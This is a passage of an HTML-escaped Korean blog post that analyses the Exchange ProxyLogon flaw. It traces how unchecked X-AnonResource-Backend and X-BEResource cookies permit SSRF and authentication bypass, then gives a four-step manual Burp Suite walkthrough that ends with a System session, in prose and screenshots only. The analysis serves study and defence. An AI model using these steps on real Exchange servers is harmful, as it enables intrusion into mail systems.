data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;OwaResourceProxyRequestHandler.ResolveAnchorMailbox()&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;취약점 Point.&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ResolveAnchorMailbox() 메소드에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;X-AnonResource-Backend&quot; 쿠키의 값을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용하여 BackEndServer를 정할 때&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안 검토를 거치지 않기 때문에,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;변조된 쿠키의 값을 통해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;BackEndServer의 값을 조작하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인되지 않은 서버로 접속하도록&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;유도할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;수동 테스트&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Prxoy Tool인 Burp Suite를 통해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직접 취약점을 테스트한 결과입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격에 성공하여,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;공격자의 의도대로&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;Exchange 서버가 Naver에 접속하여&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;그 결과를 공격자에게 반환&lt;/b&gt;&lt;/u&gt;합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿠키의 값을 Exchange가 있는 네트워크의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 사이트나 서버로 하면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;외부에서 접근이 불가능한 내부 사이트로도&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;접근하여 공격이 가능&lt;/b&gt;&lt;/u&gt;합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;959&quot; data-origin-height=&quot;532&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;277&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xExqq/btre4GG5MzS/SvhlqqoI7KF8D4KdoH7631/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xExqq/btre4GG5MzS/SvhlqqoI7KF8D4KdoH7631/img.png&quot; data-alt=&quot;Naver 접속 성공&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xExqq/btre4GG5MzS/SvhlqqoI7KF8D4KdoH7631/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxExqq%2Fbtre4GG5MzS%2FSvhlqqoI7KF8D4KdoH7631%2Fimg.png&quot; data-origin-width=&quot;959&quot; data-origin-height=&quot;532&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;277&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Naver 접속 성공&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 인증 우회&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동일한 CVE 취약점으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Exchange 서버의 인증을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우회할 수 있는 취약점입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에서는 /owa 페이지 접속 시 사용하는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;X-AnonResource-Backend&quot; 쿠키를 대상으로 했으나,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 &lt;u&gt;&lt;b&gt;/ecp 페이지&lt;/b&gt;&lt;/u&gt; 접속 시 사용하는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;&lt;u&gt;&lt;b&gt;X-BEResource&lt;/b&gt;&lt;/u&gt;&quot; 쿠키를 대상으로 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;&lt;b&gt;FrontEndHttpProxy.dll -&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;HttpProxy.BEResourceRequestHandler.cs&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약, 사용자가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;u&gt;&lt;b&gt;/ecp 페이지로 접속&lt;/b&gt;&lt;/u&gt;한다면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;this.AnchoredRoutingTarget.BackEndServer에 대한 정보&lt;/b&gt;&lt;/u&gt;는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;BEResourceRequestHandler 모듈의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ResolveAnchorMailbox() 메소드에서 정해지며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 브라우저의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;&quot;X-BEResource&quot; 쿠키의 값을&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;보안 필터링 없이 그대로 사용&lt;/b&gt;&lt;/u&gt;합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;930&quot; data-origin-height=&quot;277&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;149&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cPBXQS/btreX3azpyx/yFq91XBGFBKNXKlJz5O2V1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cPBXQS/btreX3azpyx/yFq91XBGFBKNXKlJz5O2V1/img.png&quot; data-alt=&quot;BEResourceRequestHandler.ResolveAnchorMailbox()&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cPBXQS/btreX3azpyx/yFq91XBGFBKNXKlJz5O2V1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcPBXQS%2FbtreX3azpyx%2FyFq91XBGFBKNXKlJz5O2V1%2Fimg.png&quot; data-origin-width=&quot;930&quot; data-origin-height=&quot;277&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;149&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;BEResourceRequestHandler.ResolveAnchorMailbox()&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;&lt;b&gt;FrontEndHttpProxy.dll -&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;HttpProxy.ProxyRequestHandler.cs&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후, ProxyRequestHandler Class의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GetTargetBackEndServerUrl() 메소드에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Front-End Site에서 전달된 사용자 요청을 처리할&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;Back-End Site의 주소(URI)를 정의&lt;/b&gt;&lt;/u&gt;합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 서버의 버전에 따라 접속 Port가 정해지며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;u&gt;취약점이 발생하기 위해서는&lt;/u&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;u&gt;버전을 &lt;/u&gt;&lt;/b&gt;&lt;span style=&quot;color: #404040;&quot;&gt;&lt;b&gt;&lt;u&gt;E15MinVersion 값보다 크게 설정&lt;/u&gt;&lt;/b&gt;하여&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #404040;&quot;&gt;정보를 내부 서버(Back-End Site)에서 찾도록&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #404040;&quot;&gt;해야합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;930&quot; data-origin-height=&quot;532&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;286&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boQmnB/btre1aaf8g6/FgOMjNSb8b2vNMN7hyKzs0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boQmnB/btre1aaf8g6/FgOMjNSb8b2vNMN7hyKzs0/img.png&quot; data-alt=&quot;ProxyRequestHandler.GetTargetBackEndServerUrl()&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boQmnB/btre1aaf8g6/FgOMjNSb8b2vNMN7hyKzs0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboQmnB%2Fbtre1aaf8g6%2FFgOMjNSb8b2vNMN7hyKzs0%2Fimg.png&quot; data-origin-width=&quot;930&quot; data-origin-height=&quot;532&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;286&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;ProxyRequestHandler.GetTargetBackEndServerUrl()&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;ApplicationLogic.dll - BackEndServer.FromString&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 BEResourceRequestHandler.ResolveAnchorMailbox() 메소드에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력받은 쿠키 값은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;BackEndServer.FromString() 메소드&lt;/u&gt;를 거치게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 메소드로 전달된 쿠키 값은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;Split() 메소드에 의해&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;앞 부분의 접속 위치와&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;뒷 부분의 버전 정보&lt;/b&gt;&lt;/u&gt;로 나뉘게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;284&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;220&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BqgG9/btre4GGwIsJ/0kTp24K9uXx0awWTtFiqd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BqgG9/btre4GGwIsJ/0kTp24K9uXx0awWTtFiqd0/img.png&quot; data-alt=&quot;BackEndServer.FromString()&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BqgG9/btre4GGwIsJ/0kTp24K9uXx0awWTtFiqd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBqgG9%2Fbtre4GGwIsJ%2F0kTp24K9uXx0awWTtFiqd0%2Fimg.png&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;284&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;220&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;BackEndServer.FromString()&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서, '~' 뒷 부분의 값을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #404040;&quot;&gt;E15MinVersion 보다 크게 설정하여&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #404040;&quot;&gt;공격에 필요한 정보를&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #404040;&quot;&gt;내부의 서버에서 가져오도록&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #404040;&quot;&gt;조작할 수 있게 됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;취약점 Point.&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점이 발생하는 코드에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버전에 따른 서버 포트 차이를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설명했으나,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;실제로 인증 우회가 가능한 이유는&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;Back-End site에서&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;별도로 사용자 검증을 하지 않기 때문&lt;/b&gt;&lt;/u&gt;입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;수동 테스트&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Proxy Tool인 Burp Suite를 통해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직접 취약점을 테스트한 결과입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인증 우회를 위해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러 단계로 이루어져 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 1) Server의 Hostname을 획득하기 위해,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아무 HTTP Request를 보냅니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP Response의 Header에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버의 Hostname을 획득할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;962&quot; data-origin-height=&quot;353&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;183&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdVekF/btreZ1Zzvkh/rulO5E0tNc6x2JIYYYMFjk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdVekF/btreZ1Zzvkh/rulO5E0tNc6x2JIYYYMFjk/img.png&quot; data-alt=&quot;서버의 Hostname 획득&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdVekF/btreZ1Zzvkh/rulO5E0tNc6x2JIYYYMFjk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdVekF%2FbtreZ1Zzvkh%2FrulO5E0tNc6x2JIYYYMFjk%2Fimg.png&quot; data-origin-width=&quot;962&quot; data-origin-height=&quot;353&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;183&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;서버의 Hostname 획득&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 2) User 계정의 LegacyDN 정보를 얻기 위해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;autodiscover.xml 로 접속을 시도합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접속할 때는 위에 분석한 내용대로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버전을 E15MinVersion 보다 크게 설정했으며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 데이터를 검색하기 위한 정보를 포함하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접속을 시도합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고로, autodiscover.xml 파일은 사용자 계정 정보를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내부 서버에서 찾아주는 파일입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;961&quot; data-origin-height=&quot;422&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;220&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lMdxc/btreY3pOxeS/bv4lYeCG5abuU91NLhVkgK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lMdxc/btreY3pOxeS/bv4lYeCG5abuU91NLhVkgK/img.png&quot; data-alt=&quot;User 계정의 LegacyDN 획득&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lMdxc/btreY3pOxeS/bv4lYeCG5abuU91NLhVkgK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlMdxc%2FbtreY3pOxeS%2Fbv4lYeCG5abuU91NLhVkgK%2Fimg.png&quot; data-origin-width=&quot;961&quot; data-origin-height=&quot;422&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;220&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;User 계정의 LegacyDN 획득&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 3) User 계정의 SID를 얻기 위해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mapi의 emsmdb 모듈로 데이터를 전송합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;불완전한 데이터를 전송하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Back-End site에서 강제로 에러를 발생시키며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP Response에 포함된&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버의 에러 메시지에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;User SID를 획득할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;385&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;201&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dMR4uD/btre5a84iRq/MBnutU5L0mmUMCBDWAtdQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dMR4uD/btre5a84iRq/MBnutU5L0mmUMCBDWAtdQ1/img.png&quot; data-alt=&quot;User SID 획득&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dMR4uD/btre5a84iRq/MBnutU5L0mmUMCBDWAtdQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdMR4uD%2Fbtre5a84iRq%2FMBnutU5L0mmUMCBDWAtdQ1%2Fimg.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;385&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;201&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;User SID 획득&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 4) 이제 ProxyLogon.ecp로 접속하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;System 계정으로 인증된 세션을 획득할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;획득한 세션을 사용하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 취약점을 활용해 추가 공격이 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
